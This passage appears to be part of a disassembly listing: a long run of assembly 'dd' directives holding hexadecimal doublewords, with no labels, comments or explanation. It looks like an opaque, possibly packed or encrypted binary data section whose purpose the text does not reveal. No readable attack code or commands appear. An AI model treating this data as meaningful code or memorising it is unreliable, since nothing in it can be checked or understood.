0C6EA0506h dd 7D0CF17h, 136C74C0h, 681F6F29h, 0D8CCB708h, 9E987740h dd 2AF12F20h, 1265F7C9h, 62C03415h, 0C0478F23h, 8053CE5Ah dd 0EBBA4CE9h, 40D6F725h, 95465EFAh, 47853856h, 1AC06564h dd 5EFD12C6h, 0FE5B05FBh, 97A937E8h, 0F84951BEh, 97622B4Ch dd 25A47FF5h, 0E4580CAh, 2F6B3544h, 0A0E674EAh, 2690C83h dd 161826C0h, 7F1A337Bh, 0D1CDA01h, 14061C08h, 43E2955Ah dd 0FD6A9475h, 0D85AD5F6h, 0FF9FB51Ch, 53BE0462h, 0BB39BD22h dd 0E0003D89h, 65F69A18h, 0E03BDC62h, 0FB905DBEh, 124BCF01h dd 5FF8097Ch, 0C6F2CDFDh, 56817ABh, 71086143h, 0E7E0156Ch dd 886440A2h, 65EAC356h, 0B0D0549Ch, 5E805B66h, 4ADAACF7h dd 143249ABh, 4D4A08F0h, 230F1E4h, 893CF927h, 0B15D5DEBh dd 0D33B3401h, 74E8C641h, 0CC77EC7h, 5324AB21h, 43A6E5FEh dd 0E78498E1h, 410176F1h, 576DAE45h, 12E5BE9h, 17045A75h dd 2C617E52h, 702BC520h, 5BDD3128h, 85B9D695h, 0B9D8573Bh dd 30AE4B77h, 6DE9D7AAh, 2DEBB75Ah, 548EF881h, 0A992E4B4h dd 307189FEh, 0CEB5C960h, 2B2B028h, 610F1356h, 3742D901h dd 25D80812h, 447B6B27h, 5E67F0C8h, 0BA9FD507h, 0AD224Bh dd 0CC7CA8D6h, 89D8950Eh, 7A435331h, 0E82BD53Bh, 0CABBB084h dd 59DF0942h, 8DF6F387h, 266A9008h, 3311A4h, 0B863FE05h dd 0D0C8010Fh, 0A84A08A6h, 0D5924F3h, 4AE6FB15h, 0A0002734h dd 23A05626h, 94451CBEh, 5D0A7D5h, 6051519Fh, 76BE5DF8h dd 15AEAFCh, 7250F18Fh, 0FD071E1Ah, 0E9F84462h, 4652BBC2h dd 694C2EA8h, 0FC583A1Fh, 0D184D5D3h, 59580315h, 0A107E268h dd 53FC882Fh, 0BE42E3CDh, 0F68001BAh, 3E803C35h, 0D2C81B7Bh dd 3425E09Dh, 0C796047h, 0B5A7D556h, 0E539E913h, 58C38BBEh dd 42B245B0h, 55DC01CEh, 0DA59C889h, 270F144Fh, 3218DF5Bh dd 45C36B16h, 0BA781226h, 609E084h, 5CDB0CBFh, 0F83FE223h dd 4277786Bh, 0A23AF202h, 8701C403h, 869A89B8h, 0E91C0B5Bh dd 0A0B4ADh, 7D0E241Dh, 0AE2F9CC9h, 0EF2DC02Bh, 36F300Fh dd 394A3548h, 74D858A4h, 0C75E3F1Ah, 824AC7B2h, 0F97DA5A2h dd 16F189FFh, 0BB89D279h, 28945BC6h, 4F75032Bh, 4DE97CAEh dd 0DBA0D58Eh, 0EF904670h, 0AA80824Fh, 9707E1C1h, 75AD3CD6h dd 7A98C580h, 2D04918Ah, 2E316EB2h, 74051E8h, 5EFB9D59h dd 8B2F7524h, 0A4447D66h, 77859E5Fh, 7D92E6BAh, 185AFC2Dh dd 0A8A0608Ch, 1255EEF2h, 941E287Dh, 660812FEh, 25F01836h dd 13EB009h, 42FF05CEh, 12D815F4h, 0EC543B4Dh, 307A07CAh dd 0F7673DCDh, 13A912E3h, 0BDE3639Ch, 36D10009h, 0EA0D46C9h dd 3EA70770h, 0C00CE635h, 22632D01h, 0E959811Dh, 3BE3EA15h dd 90949B55h, 77BDB20Eh, 0BC0E4F6Eh, 7E1B2801h, 0A0C8792Fh dd 88E9120Ch, 4C43E24Ch, 5DF03755h, 1C253EFh, 0FBEA5FB9h dd 0C7FE827Dh, 0AB58044Ah, 13C763A1h, 0BC5E43F8h, 4AA8E2DDh dd 0C9D0583Ch, 993660Ah, 775DF4F9h, 0C8AF1F8Dh, 80E48C16h dd 80C54B29h, 3A1E4ECDh, 18F8505Eh, 0F288B57Ch, 3EE9050Bh dd 0E08D8DE3h, 9C9FDBA7h, 4F37FC70h, 0D0029D2h, 36C63007h dd 5EB5D770h, 88C2F235h, 9DAB1ED7h, 4492ED9h, 98BBC345h dd 6444491Fh, 476040AAh, 0F3FE8728h, 0BBC2C24Fh, 2703DC40h dd 0BB0205F0h, 895B282Ah, 0BA88E1C5h, 0D6D82625h, 6FF495F9h dd 1707BB40h, 0E3D9FA48h, 40B92E7Fh, 5A97ECDDh, 0FFC727A6h dd 60CF5DBh, 78F61D01h, 0B69129A4h, 0C6884B6h, 0C4A5E853h dd 5818A9DAh, 9ABF857Ah, 0EA517DA2h, 6047EB81h, 0E901234Fh dd 2F6578CBh, 85CE5156h, 0B8729568h, 7C3C185h, 632F59F6h dd 794E6485h, 945099FCh, 6517243Bh, 77ED1FC6h, 8E56003h dd 104C130Eh, 0D9A92E52h, 76916861h, 0B910A976h, 82B52810h dd 0FE59EB01h, 323468C3h, 0AAB0E251h, 5DD2BF03h, 0AF55C857h dd 688A3B73h, 1419CF03h, 1800244Dh, 9417C5B6h, 17A9BE56h dd 0B97FF945h, 0A8FD3481h, 1BE0B12h, 3E48E251h, 801A8219h dd 574A4967h, 806D5CAh, 0C783E159h, 1C6F09F8h, 8B6003BAh dd 678DF5F3h, 326A4846h, 8FC03427h, 0B10419B4h, 58E1282Dh dd 74D102ABh, 0FA6B73E9h, 0B551D8E0h, 0B753220Eh, 92967F6Fh dd 61B0BC82h, 96E4FEB0h, 74EEBF44h, 1360CB4Ch, 8C9049C3h dd 60192E22h, 0BDB0C4Fh, 0E97829BAh, 0D62D7996h, 0FC74F2E9h dd 307DF689h, 13AEE403h, 431F230h, 0F7B7D3C9h, 24424ED5h dd 0A57EBE68h, 6582521Eh, 0F0530795h, 5E5F4D70h, 0CAFE5B64h dd 78F6BA12h, 448A8C10h, 0C85B3097h, 122EC4B2h, 0ECDFCBCFh dd 9C6EA9AFh, 0BA3EC52Ah, 0F5E8CB74h, 5154D1B2h, 0E31C772Dh dd 40FFE913h, 68C438E9h, 5BCEFD58h, 3880CFE4h, 0B44CC0C1h dd 43E44A24h, 76C1B3EDh, 0C6B79F88h, 7F4B5CD3h, 96D605Eh dd 840F09C9h, 0BCFF51F5h, 0A9B025A4h, 68E2B1F6h, 0D4D7937Fh dd 0C127E2BEh, 8703E9D9h, 50E89C7Fh, 11286800h, 0D158189Ah dd 0D8F701E8h, 7C086B35h, 1FE92BB9h, 43E3E90Bh, 750FB390h dd 525C392Fh, 580881B7h, 0ABA5FD68h, 946BB4C9h, 298282C0h dd 0BC625E07h, 2154ABh, 285866C2h, 0DC955AD3h, 365B0A8Eh dd 0C662BBA5h, 4007A8Fh, 4E9768C8h, 81DE314Eh, 63A93FD7h dd 0AC3BD59Eh, 2C77277Dh dd 0F5112BD7h, 62C60EE1h, 9EE89251h, 0ABB67185h, 2C1C239Eh dd 0B2D7253Bh, 0F51EA4BBh, 43B9E0D4h, 0FEFB3B9Ah, 999142h dd 2656D7B9h, 0D2BD277Ah, 1090A7h, 0C0CFFEC2h, 0F78004E7h dd 59E92A0Eh, 64FF160Ah, 5810CC49h, 7740D4ECh, 0DD2C0259h dd 12B3535Bh, 6F4FE741h, 14DF2D40h, 1BD7AACh, 8553EB25h dd 7B76BFE9h, 0EA19AA43h, 87B2E760h, 6F87F6DDh, 130C925h dd 7B727F24h, 6E816065h, 0F6891701h, 10E9F029h, 595C9750h dd 7849BD31h, 244BF551h, 853168A4h, 921FC175h, 2F59C96Fh dd 958EAB04h, 4336602h, 0E9D09375h, 1AA48870h, 1A6C0209h dd 0C3551779h, 0A0F5CF6Bh, 0E18B501Dh, 6D6AB14Ah, 0CCFECF80h dd 207AC480h, 25D5E74Ch, 8181FF53h, 35F814E9h, 25D2D24Ch dd 8FD2D37Ch, 988A6904h, 0CA018B1Dh, 14942B00h, 0E09F747Ch dd 9E981ECh, 12D4430Bh, 0FE889276h, 1FD42708h, 601E8226h dd 6385F7D2h, 5023910Bh, 0BF5C5FAEh, 7064B328h, 0F1BDC4h dd 0ABDF1842h, 0C46148F8h, 12818280h, 41C85FE1h, 77D29DCh dd 75050B4Fh, 0CD32ADABh, 7744E240h, 9BBBEFB4h, 0E993A1AEh dd 0BB489066h, 83109BDh, 60828146h, 0B782BC11h, 0D9D79F86h dd 0BB5360A2h, 0FA185819h, 63985257h, 0FEA44B10h, 27F5B74Eh dd 87997602h, 0A550C2DCh, 12EA8984h, 0AFD3095Dh, 16EB9F64h dd 87F0A94Bh, 80294093h, 1845D53h, 0B2BA9788h, 2F60E0F7h dd 0DA0E5051h, 8F3D16B7h, 0DBEC094Dh, 26137A90h, 0C16FDA07h dd 6CE207E3h, 73F26438h, 90DF98F3h, 0DB9B6EB3h, 0BFB969C4h dd 8107BC40h, 2728DCF2h, 25F639C6h, 82B85D26h, 0F8681608h dd 0DA0F5E30h, 2B3026E5h, 5E08B3BEh, 0D9B50820h, 7D201B28h dd 6C0D057Ah, 0C00A7903h, 0CAAD7424h, 89AAE0B5h, 0E9400B57h dd 155D9499h, 4A97A27Ch, 0C39CC557h, 700093E4h, 817C632Dh dd 51F8010Ah, 0C57C0705h, 542F0CB1h, 0F441C074h, 5EBD4960h dd 498296A5h, 0DA7E550Fh, 0FFFDE25Ah, 0AFE97710h, 0DD590B97h dd 5E9798C7h, 13EACABFh, 27A428E1h, 38A802EDh, 58591830h dd 7ACC0940h, 0E94E1106h, 3F6190E6h, 0F89817F5h, 688E323Fh dd 0E93A2E05h, 65A3CFADh, 10FD9A18h, 0FC78885Ah, 2822B35Dh dd 9D309B42h, 0EBC351A5h, 0F7472DE2h, 0F24E80F7h, 5BA6275Ah dd 1724EC4Bh, 0B2BCB317h, 9DA435A1h, 1BC94661h, 2C9B5F13h dd 53AA2A5Eh, 768BBC76h, 93BC504Fh, 1C2B7007h, 62C2C01Fh dd 8058B8D3h, 78AA05CFh, 0B1BB342Fh, 5A08034Ah, 18EBC9F8h dd 79081E2Fh, 8C2866D4h, 3E42BE5h, 244E9C10h, 306805A5h dd 0A727A8E2h, 8F05D6BBh, 4D05DE9h, 0D477C168h, 0AC859E83h dd 0C486CBEAh, 8BFA315Ch, 0BC050115h, 0E90C1541h, 453F65F5h dd 88DCFF63h, 764A8D8Bh, 0E5070077h, 99CD80E0h, 83DD5EF6h dd 0C5C8ED24h, 3A4AE971h, 1B75EB16h, 0F6A10BAAh, 0E564895Dh dd 218388A9h, 3BC6BB01h, 0C3E53D1Fh, 4F522D60h, 0C655B9A4h dd 17BAAF35h, 0E0C18915h, 0DB54EF6Ch, 8AC9ECADh, 660961C6h dd 8E6F8725h, 5F873D4Dh, 0AF0792C9h, 29023504h, 32765BDFh dd 5D7BBE01h, 36302350h, 2A4A1FFAh, 9F793CBh, 85C0D227h dd 3148AFBBh, 0F1892D0Ch, 60D769FEh, 46333DCh, 0BBE976D3h dd 0ACAAFAEh, 2596553Eh, 0D3CBFD69h, 57B20901h, 902066ADh dd 601413D6h, 9002BBA1h, 60DBF74Bh, 2F6E769Ch, 7FD00AA6h dd 9837E20Eh, 7C7C043h, 9084BCCh, 0DBE9FB29h, 0FCF30BDDh dd 0E88358E6h, 2508D9BCh, 4E9A3A63h, 0D3D73084h, 6A3B8231h dd 7283699h, 38685902h, 64547E55h, 24A052DBh, 0D56D0FC7h dd 5CA44A06h, 4768FBDAh, 488AC85Ah, 3A87627h, 615F363Bh dd 502D0C04h, 12FE0B71h, 0C1CAEBEAh, 0F091AF4Ah, 68A583EBh dd 5AE6CC7Dh, 8B35FADFh, 5FF65982h, 0EEB55CBBh, 0C8AA3C32h dd 48F829F0h, 3C181F56h, 0BBABBABh, 24404C16h, 0D49C5FABh dd 0F2FA902h, 0FBC3BA75h, 177F0822h, 0E408822Ch, 2B90E4Ch dd 14002E14h, 0E964B357h, 84D0F5DDh, 39E24FBEh, 5B076883h dd 4914572Ch, 1C165899h, 69D1D97Bh, 43311060h, 0BC555017h dd 92E83D10h, 0B3BAD3A5h, 20AF585Ch, 62BA057Ch, 9795481Dh dd 9258D2DEh, 44026B72h, 5B99F8A5h, 0F79DD31h, 0B1E47DE9h dd 4EF72920h, 4F30799h, 0A1CA7E85h, 48BD004Ch, 0B841092Bh dd 8131C73Ch, 3C642D5Dh, 0E17E2C35h, 0C107046Ah, 7E904583h dd 65EF5AD8h, 0A037C773h, 5E0BBA8Dh, 0A1312742h, 43878B47h dd 3D20D1DDh, 134E92E7h, 0EC02D3F3h, 0D9941306h, 0BD2FCCAFh dd 4B318240h, 8128BDDDh, 92E9EA01h, 5D0D2828h, 0ED8FD831h dd 0FEC4240Ah, 0EF80CF1Eh, 0EB04FD67h, 0D0FEF36h, 0DFA55A0Fh dd 0D029AFA2h, 27C53092h, 0CE685180h, 9F4D460Dh, 5747255Eh dd 181915C3h, 0A813EFFh, 1B09055Ah, 83296250h, 0FA213634h dd 42AEFF16h, 2FEFC5CDh, 441DC3D2h, 0E81A202Ch, 5D0E9C80h dd 0F7327F0Ch, 166F10D2h, 0C079FC84h, 7E5C1A1h, 4E2F76BFh dd 0C8E9FD81h, 0CF256AB9h, 0AF939206h, 8213255Fh, 0A6BE7B6Eh dd 7227DD09h, 797F34DEh, 9366BA1Bh, 32AE0F6Ch, 0B0D26927h dd 84409868h, 0C1D13CF7h, 1ED8EA4Ah, 71701528h, 6716FE4Bh dd 6064EA11h, 66DBF1AEh, 665C25BAh, 7905904Dh, 8820B77Ch dd 0D9B432Ch, 0D809F990h, 50F264BCh, 5BA295D1h, 337D48FEh dd 6575E21Fh, 86D78C0Dh, 0C8FBEEE9h, 16300A8Ch, 3DEF0C54h dd 0E928093Fh, 49542F8Fh, 0D9800B63h, 6F9C001h, 0C169E1D8h dd 0CB28D812h, 0C4BC6B59h, 85ACAFCAh, 0FB5DE821h, 432EB7F5h dd 35E5E954h, 81449113h, 51589B44h, 4D33CBBAh, 0EB1C4F4h dd 61F0514h, 7CF5C145h, 6A169F35h, 0C2AD47D0h, 0E9D00B96h dd 2CC4E0B5h, 9DEAAB83h, 5201DE57h, 0A42E65F7h, 2A8F0974h dd 28821159h, 0FD071245h, 94F83425h, 0CBF6AEDEh, 5FA2F75Ch dd 0CBC2A9FCh, 0F6CDA89h, 38FD17A4h, 8AA97369h, 575C8302h dd 15FEDD69h, 0ABD7C4FBh, 0E85A44F2h, 46E9F0C2h, 8010CF3Dh dd 82067C0Fh, 35D45BD6h, 0C2EC257Bh, 0C237D1BDh, 79297F03h dd 0BEA2CCB3h, 0A280509Ch, 8122FC03h, 2B1A12EFh, 0F701BA02h dd 1B419D40h, 8E741E7Eh, 0E013206h, 0C52FD02Dh, 0F2D8F50Ch dd 3C000789h, 6B431E57h, 0D2DC6097h, 0ED83720Ah, 2FE2D420h dd 0B85653BFh, 7E472A93h, 8EF7FA30h, 55FA6A1Bh, 5069925Ah dd 134EFF25h, 6C43D61Eh, 33033D64h, 417B674h, 0AC38C472h dd 3FF0D1Fh, 95C797D4h, 4CB248C8h, 5AD38816h, 0FE1D53ACh dd 3E342C3h, 0A774ABE9h, 5B2CEC25h, 0B0DFD72Ah, 5A78E025h dd 94B84A4Bh, 65BC2209h, 912B7881h, 0D389F016h, 0B065DEB0h dd 0ED2497Ch, 2ABF008Ah, 2E4D1466h, 505E1349h, 69D72C09h dd 32F5AEEh, 9A7559C5h, 4AB4EFB5h, 42FA95B8h, 4A8A439Dh dd 4D54F9E2h, 97EE9708h, 0D6FE2E3Eh, 55A8B058h, 0E9D09FAh dd 0D4DF69AAh, 0BC079760h, 9D0E730Eh, 98F3E9A7h, 5B25AAEFh dd 0A601FBA8h, 0B383C91Dh, 1723DF70h, 0F53B6D34h, 5D08035Ch dd 3F7AD6CAh, 626CE927h, 30F85F46h, 5C0DC505h, 4ABD693h dd 13362362h, 44AF6253h, 62A8429h, 24B65159h, 0AFF86B63h dd 0EABFB4D0h, 0AE2FFD21h, 0AEADBB64h, 0F61611F2h, 0FD9EF7Eh dd 0C2B1D46Ah, 6F5BD45Bh, 2F79A6h, 59292DF2h, 0ED034B99h dd 85A12F4h, 0A36AACCDh, 0E956C11Bh, 0F7C2484Ch, 5F2D7145h dd 5455D1B4h, 0D3EC41E0h dd 0F8279D5Bh, 88BB3445h, 3FCB5581h, 0F25155C2h, 93BE760Ah dd 76A6688Eh, 49F7F9CCh, 85043852h, 0EE1A2C29h, 0FCC2A1D4h dd 664E7F9Dh, 30B9F655h, 4F008E26h, 0F3297201h, 0B5FE685Eh dd 0E9192FC6h, 0C12DAD11h, 0ABB1562Eh, 0FCE9839Ch, 761ABF62h dd 0FE9D9764h, 0D32395FBh, 0BB4A04Bh, 0BBD1140h, 47F60125h dd 4A20B10h, 0E9FB0304h, 0FCF790C0h, 2DD1597Bh, 6DEB6801h dd 3E5860CDh, 5189E543h, 0D7808C39h, 9E1180Ah, 2E2C106h dd 0D94DA00h, 0E912B3EBh, 0C1409EDAh, 0C0322A68h, 515D1F10h dd 0C918957h, 265FCA48h, 0A8F783C7h, 31066870h, 21F5F9FEh dd 5048E63Fh, 859F0CBCh, 0CFAA513Bh, 0F03128E7h, 93D31C2Dh dd 0A92FC207h, 0C626779Fh, 1C267ECFh, 55C988A0h, 784DDB69h dd 55977A58h, 0C7F9B5B8h, 41B7D49Fh, 2631AC68h, 22F81018h dd 0BA06AE4Fh, 491091D5h, 0FEE45D54h, 0E90990B7h, 1D51C9B0h dd 0B1D2D747h, 81537FA4h, 0FFB84E12h, 0B87CFE5Fh, 129E4BE9h dd 3C51F04Fh, 11A61C13h, 20E44701h, 0B46FC82Ah, 0C29F0A0Dh dd 63EFD549h, 79CCC389h, 0CB0B0B70h, 25B8C55Fh, 0BFD3CC5Fh dd 524BEE3Eh, 0C0B568FCh, 0F401119Dh, 0D65E532Fh, 779900BFh dd 0BEE93087h, 2A4B656Ch, 0E32E38BBh, 20478F09h, 564064D9h dd 2542A4BEh, 405F1673h, 0D0A03916h, 330BC343h, 3E02060Ah dd 130B5F0Fh, 54C9FAF6h, 1CF92598h, 8B2DDCE9h, 8C54A759h dd 0F53A4072h, 26469537h, 3E2D1690h, 8E53D912h, 0EC1A5145h dd 0E941B0C8h, 81C4EE5Eh, 7ED0A5EBh, 96908E8h, 83B8D5Fh dd 68D4212Fh, 1F2D45A0h, 77F9657Dh, 0E64F8DA8h, 3029D1A5h dd 8D412D7Ah, 0EA688E38h, 0D5952D70h, 11BD0A1Ch, 4D2DEE72h dd 0F2ADCD3Bh, 53BA1E40h, 0D51F170Fh, 0C31F3601h, 0C6DF0C39h dd 183768B7h, 0C731142h, 0D204592h, 3A410969h, 520957E8h dd 34085F08h, 114130Ch, 0EA7861FCh, 2AC6704Bh, 0D8D93617h dd 165AFDF0h, 0CC718B68h, 0F741EF32h, 41BBF12Fh, 2FD5D63h dd 4F7F604Dh, 643D2C41h, 40123FC0h, 0C47DAC7Dh, 0E7FC532Ch dd 3701FFC5h, 79EF81B2h, 1DC87A69h, 99B905C7h, 0F257F993h dd 0DAB2965Bh, 4F92CC4h, 49B95D54h, 0EA5FFD84h, 0BA6CB144h dd 0BBEA8002h, 933D9AFCh, 0D89E103h, 0FED21292h, 0D2F17856h dd 0AF9A016Fh, 2186F8B7h, 0A955C47Ch, 0D9297E16h, 63085010h dd 81B5E12Ah, 1A97456Fh, 0BBA901F0h, 2A9D52E9h, 771A7B31h dd 5EC9E162h, 0EE127CDBh, 0D69EEFA8h, 0C40DACE2h, 8100E414h dd 2B1FCFE5h, 3CAD514Eh, 25C20979h, 0E2003F4Fh, 0FA25972h dd 0A12033B0h, 1CB800ABh, 404E6209h, 0CFE66335h, 974948h dd 439C2506h, 0C2D17DCh, 2036018Ch, 808064B2h, 886C09F5h dd 96FF59EAh, 0A6C720BDh, 5023B9B5h, 80A5EB60h, 5B5CFA88h dd 0EBD03021h, 2710D4F3h, 39F82298h, 2C71BABCh, 2F87B77Fh dd 2DFCFCF5h, 0EBE633D2h, 0CD5FE1B0h, 1D158E07h, 775054E7h dd 0B0A9A4DFh, 69A30BBEh, 0AEEC07A7h, 0E655BF4Ah, 4BFB5F1Dh dd 180071C6h, 92E94D2Fh, 54FECA4Ah, 4B008081h, 506B2C39h dd 3D7CF9B8h, 25DA4960h, 956D1C8Dh, 0F782D185h, 0AFFD4B26h dd 96187D05h, 922A840Fh, 0ABF52D00h, 277D5ED9h, 0BD01D3C5h dd 653505B4h, 9A2D7228h, 0EFC07C80h, 0B2FE5002h, 80C4FE07h dd 6EBE98E4h, 96CCC508h, 0CFE14284h, 0E5BFB87Ah, 5D964682h dd 4427A9D1h, 0AD4A4EA1h, 96F103B6h, 0D954315Eh, 1681AF73h dd 0C868D830h, 25092641h, 0A826716Fh, 58960B71h, 0BB764488h dd 0C990602h, 803C564Dh, 4B3F85EDh, 702DE92Bh, 62DA7C56h dd 6802ACE5h, 0D146EBD4h, 25B47EAFh, 17BCAB60h, 0D1F6E8ADh dd 7EA87BEDh, 0C47FAB06h, 411F1828h, 0F2672788h, 57B9009h dd 770BCA2Dh, 15B7F87Bh, 84ADD1h, 0C51934C7h, 4E616816h dd 0E2DE8C24h, 5C1D4F13h, 4109D9EEh, 0CD63B162h, 54B02B17h dd 50796013h, 0A9239BBFh, 2830117Ah, 0A5BA14BCh, 0CB496069h dd 16A84B48h, 0BB0BCAECh, 834CAD33h, 0EA4DDB56h, 47220738h dd 0D5F6F9A8h, 989C848Ch, 633D0BBDh, 0C8FF40E2h, 2E13A1EBh dd 12C8C56Fh, 2DE0A289h, 5AC07651h, 14CB0E86h, 5F6EB627h dd 0EF80A580h, 0D5E72888h, 107FD7C7h, 0BF5BE912h, 807F8DFFh dd 67267BFAh, 1ECE8119h, 24E131ACh, 15960184h, 8B4E1B95h dd 7C50B61Ah, 5F8E0923h, 0C1608EDEh, 84193B51h, 98E95209h dd 0C1AACE71h, 0F7D1870Dh, 7F08BBD2h, 0C25AF19Fh, 68091085h dd 737768FFh, 0F41C4F7Eh, 0FA41C64Fh, 7CE0AA82h, 8F7D5FBEh dd 1E06C67Fh, 72544F3Eh, 0B868CDE3h, 4D135D5Ah, 0C20DEA31h dd 0AE2A4A7Ch, 0DEFA5665h, 0DDBF500Ah, 5B148859h, 5C254DCAh dd 26F318FFh, 0FE7BD318h, 5A68613Ch, 6CB4457Ah, 79611D55h dd 0C91146CBh, 10C1F77Fh, 26694A52h, 7B486626h, 8047EA1Dh dd 7A5B0513h, 35072634h, 4B181685h, 960CA551h, 60D66920h dd 72EADF0Ah, 0DA5BF8E5h, 16FBDD16h, 0C8A7AD21h, 0E18901CFh dd 0F83BBB53h, 4B7E662Bh, 4B241525h, 0F8B2E760h, 0A08E5F39h dd 2DE865h, 53505D0Ah, 3052FBE9h, 35E03ACh, 0B52951A5h dd 5B08BA10h, 6DB857AAh, 0D0C401E9h, 0A7F72A1Bh, 0E687BB4Bh dd 5A0BAC44h, 84E3502h, 0D9621BD4h, 0F5457D82h, 1C420CACh dd 11BE00C6h, 509FA654h, 0CF789F8Ah, 5AF37835h, 70A997EAh dd 63C55405h, 349234FCh, 58C63116h, 72BF8C57h, 724A8E80h dd 0C9F5515Dh, 0B1B66DD7h, 0D4EF81E7h, 84A0E211h, 6D9DB5B1h dd 4B8E20BEh, 0B89F9857h, 91261461h, 2360E1D1h, 79FC04DBh dd 0DDCE8947h, 0C7466B92h, 4CF9E557h, 0F23ED6D6h, 5F4E787Fh dd 7F61FFDEh, 12ED3E05h, 5FC1820h, 0E949DC5Fh, 565B9399h dd 3D3439B1h, 0DD7625C6h, 4D01ACA9h, 705048E0h, 0D0CEEA1h dd 0C76AB39h, 0A50F17CFh, 1011F38Eh, 0B600B32Fh, 0E2CE80E7h dd 776EEC0h, 0E912E1E6h, 3927A820h, 70356B50h, 25C37D01h dd 354432CEh, 0A9301800h, 0F7C8B802h, 0FF2C4E86h, 0D9ACBB09h dd 0D3163CF3h, 10288A32h, 0C740A546h, 722B2E6h, 6C1703B9h dd 0E1C1A232h, 1000D30Ah, 351F6877h, 5BF5E651h, 4604FB40h dd 0DEE39EEAh, 0B7F09950h, 0EA5D6E05h, 0DD7A27D3h, 0B8BEA340h dd 0DF452124h, 0B960C7C5h, 0B0EB672h, 41E83125h, 6B3D7A8Dh dd 0B17D8D12h, 0FBCA7ECEh, 0A7102358h, 0C1017FB2h, 33B6653h dd 0F5E3F929h, 0BA5F0800h, 4AF43DB1h, 2F81A152h, 690E0A1h dd 7C042D06h, 2C68414Dh, 0BE33507Eh, 860B3B44h, 0D8464E26h dd 2F0E4929h, 9775925h, 296DFB1h, 9A60B080h, 406256BDh dd 182238F6h, 7D8D495Fh, 631B287Ah, 0D7B79F0Ch, 41977031h dd 542CF0FBh, 425067E0h, 10172ECFh, 0ACAD1B58h, 0AE92773h dd 0C3F845C3h, 64032027h, 39377F2Dh, 0D0B9FA22h, 0EDC113C0h dd 3101BF05h, 1A178FD8h, 0C0016E31h, 0AF044CD9h, 0F594E82h dd 50756265h, 0F104E6EEh, 0C009ED2Dh, 0C00AFDCBh, 36E5074Bh dd 99EA0805h, 45B2867h, 4BD67A4Eh, 0E76F20F4h, 295A0A40h dd 43DC9557h, 772DDF2Ch, 7E92C9B4h, 7A39F20h, 15685F5Bh dd 0EE7F0B0Ah, 4D51B77Bh, 744BD3C8h, 25134EB5h, 21E381BDh dd 62AE2BF8h, 607D0BDDh, 8A3FE0B8h, 6704B58Fh, 22E9024Ah dd 624DFE10h, 42575B6h, 0DC9338A9h, 0EE5BAC24h, 0B09B98Ch dd 5E1DA028h, 214F6390h, 7D7DA425h, 0AD289220h, 745E0126h dd 0C066F8Dh, 3F1C8428h dd 0CEDB8B5Eh, 0B9AE65E1h, 86073A12h, 3A211BCFh, 0AD60D829h dd 14AEA681h, 813DD368h, 0CABF57C0h, 164E5643h, 5CFF14ABh dd 0D19BB42Dh, 465702DAh, 698727B0h, 6217F166h, 71BEFFC0h dd 2FC1DD2Eh, 47ABC356h, 0D2555845h, 6856F3F7h, 4049E083h dd 0D42CDA20h, 0F7BD0743h, 0E348E55Dh, 181D10B2h, 0F45FB4Ah dd 6CF8ED78h, 2F5B68E0h, 0E916BB74h, 0EF5F57Ch, 1F7BBFDDh dd 6AFB4A41h, 1C02A719h, 0E1CC8F5Fh, 489D8E2Fh, 82DBFB4Ch dd 0DA540557h, 0FCA32C8h, 0E0A1DA3h, 0BBCB1265h, 888D9443h dd 0E2FCD1D3h, 90EEA781h, 403F5B50h, 4F28BCBBh, 0E7282790h dd 349085C2h, 30FC70Eh, 647478BAh, 3FB881D8h, 4A0114F4h dd 156A2CC7h, 97014C40h, 0CD14D847h, 0C2155AEBh, 0F4789A66h dd 0A27DEBBEh, 5EF1E9F0h, 907E25F3h, 0C8BB076Bh, 52AEB4E2h dd 5A660EF3h, 16DF4C30h, 5CD8C2D1h, 0B410147Fh, 0FECDC2EDh dd 519C9157h, 0C02C0CE4h, 18ECC68Bh, 0CC34DF0h, 95C5725Ah dd 0A080A3C4h, 2932779h, 5BCCB90Dh, 61543276h, 5184CA3Fh dd 0DFE441C7h, 0A626BA06h, 0D31F125Eh, 7A1FD57h, 0F4AFB87Fh dd 3F852DEFh, 0F6C13CA3h, 5496E9F1h, 6887EFD5h, 7EF773E1h dd 178C0F20h, 0B0134B75h, 3E165314h, 73124F17h, 0ACA84557h dd 0A48CE01h, 6AEA0103h, 80ECB198h, 0E839317h, 3513B35Eh dd 9A59CBBEh, 68121494h, 0ADA83069h, 0A6FA4C0h, 0B278E93Ah dd 0A3F531C3h, 0D90BDB7Bh, 570212D0h, 55EEE082h, 0DBA5DB67h dd 307ACE3h, 533C5ACCh, 346AE5E0h, 0D049FF30h, 67313E2Dh dd 762FF632h, 4D4A6A87h, 0C5A37913h, 0FA8BB913h, 402A199Ch dd 0E71C68BFh, 13BD8D10h, 0B7B2B856h, 0D24532Eh, 41AF4274h dd 81032FD1h, 49F4C98Ch, 8A710205h, 5D20FA02h, 7220C3FAh dd 67569F79h, 233B1C82h, 6E20DD62h, 116599E1h, 0ED127897h dd 5E968A2Bh, 0EF56D11Eh, 1A1254FBh, 4475601Fh, 80F70157h dd 0FA678354h, 0EB0035F6h, 0D70DF52h, 5F5C316Fh, 287893Eh dd 88089582h, 2DC08E15h, 62ADF159h, 5D05C1C4h, 0CA3B901h dd 0E17111E3h, 0AB87D46Eh, 89B129A2h, 0F2922B3Ah, 0B097D8D0h dd 96679D8Ah, 505BD804h, 46C299AEh, 5A288D7Ah, 504C041h dd 31C7950Fh, 637B2EA8h, 8B84067h, 0F140E6C2h, 0BEAAA05Fh dd 0C50BB878h, 0F622F3Dh, 0D4EF217Ah, 0B07F2083h, 0FC626883h dd 5D0DE943h, 65020229h, 7D0B7BE6h, 800791A0h, 74D677F3h dd 5402D2F3h, 71336858h, 0A1A0F566h, 0F64D75E2h, 0F990B51h dd 1E280291h, 25A74521h, 0E98406E5h, 0F4D16FEFh, 0C0CF9ECFh dd 2E482C73h, 3BBB1E04h, 0B1E91B74h, 0EE832694h, 23443CBAh dd 0B30BB392h, 892E6227h, 9ED82C9Fh, 906A1E47h, 0BF7AE77Bh dd 0A786F23Dh, 21CC40B4h, 4FB60B2Ah, 0BC09D629h, 544418D7h dd 30AFB05Ah, 0F76B9081h, 922DEE19h, 276FD4FDh, 0D2389ABh dd 284E8684h, 0D18E79BFh, 0AD516A06h, 0DD0114C8h, 52817ECAh dd 2F513AD0h, 98F74C9Ch, 0D336B905h, 0A44BAE19h, 0FDA32916h dd 0F604D14Eh, 0A6E5E9E1h, 277BB7E7h, 1F3C428h, 5BA5341Fh dd 2EC10BECh, 0DD50AFFEh, 40478109h, 2672C887h, 60210B27h dd 0ABF2E3DFh, 2C59E8D1h, 0F5043A4Bh, 0E83B0E38h, 0B1513074h dd 0C828E612h, 